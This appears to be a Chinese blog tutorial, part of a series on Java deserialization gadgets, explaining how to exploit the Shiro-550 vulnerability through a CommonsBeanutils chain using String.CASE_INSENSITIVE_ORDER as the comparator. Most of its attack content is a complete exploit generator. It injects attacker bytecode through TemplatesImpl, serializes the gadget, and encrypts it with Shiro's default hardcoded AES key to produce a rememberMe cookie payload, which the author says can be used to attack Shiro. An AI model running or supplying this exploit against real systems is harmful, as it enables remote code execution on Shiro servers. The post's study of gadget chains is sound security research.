1. 程式人生 > 其它 >反序列化Gadget學習篇九 CommonBeanutils與shiro

反序列化Gadget學習篇九 CommonBeanutils與shiro

serialVersionUID

如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通訊的時候就可能因為不相容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會根據固定演算法計算出一個當前類的serialVersionUID值,寫入資料流中;反序列化時,如果發現對方的環境中這個類計算出的serialVersionUID不同,則反序列化就會異常退出,避免後續的未知隱患。
遇到serialVersionUID的報錯,保證兩端依賴的jar包版本向同即可

思路

前面的CC鏈都需要目標環境中有CommonCollections的包,對於shiro-550這種很常用的漏洞,如果沒有CommonCollections,能否用其他方法利用,比如用CommonBeanutils。
最簡單的shiro專案,需要包含:

  1. shiro-core、shiro-web,這是shiro本身的依賴
  2. javax.servlet-api、jsp-api,這是JSP和Servlet的依賴,僅在編譯階段使用,因為Tomcat中自帶這兩個依賴
  3. slf4j-api、slf4j-simple,這是為了顯示shiro中的報錯資訊新增的依賴
  4. commons-logging,這是shiro中用到的一個介面,不新增會爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory錯誤

在只有這幾個必要依賴的情況下,檢視lib庫發現預設是帶有commons-beanutils的:

說明shiro本身就依賴beanutils庫,直接使用上一篇的payload打一下發現報錯:

Unable to load class named [
org.apache.commons.collections.comparators.ComparableComparator]

找不到這個類,說明雖然預設依賴了beanutils,但是並不完整,檢視一下哪裡用到了這個類。

初始化BeanComparator時,沒有傳入一個比較器,就會預設呼叫
org.apache.commons.collections.comparators.ComparableComparator作為比較器,那就需要一個新的比較器,要求:

  1. 實現java.util.Comparator介面
  2. 實現java.io.Serializable
    介面
  3. 在jdk或者shiro或者CommonBeanutils中自帶

在實現了java.util.Comparator中尋找,找到的是java.lang.String.CaseInsensitiveComparator。jdk自帶,相容性強,相關程式碼:

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /** Replaces the de-serialized object. */
        private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
    }

也就是通過String的靜態屬性CASE_INSENSITIVE_ORDER就可以獲取到一個CaseInsensitiveComparator的物件
用這個物件來例項化一個BeanComparator

final BeanComparator comparator=new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

其他程式碼與正常的beanutils鏈相同,注意吧queue.add("1")新增到佇列裡的1變成字串,因為使用的是字串比較器,不能比較整數。生成的結果即可用來攻擊shiro
完整程式碼:

package changez.sec.CommonBeanutils;

import changez.sec.shiro.CommonCollectionsK1;
import changez.sec.shiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;

public class shiro_beanutils {

    public static void main(String[] args) throws Exception {
        byte[] payload = getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource cipheretext = aes.encrypt(payload,key);
        System.out.println(cipheretext);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field f1 = obj.getClass().getDeclaredField(fieldName);
        f1.setAccessible(true);
        f1.set(obj, value);
    }


    public static byte[] getPayload() throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER );
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}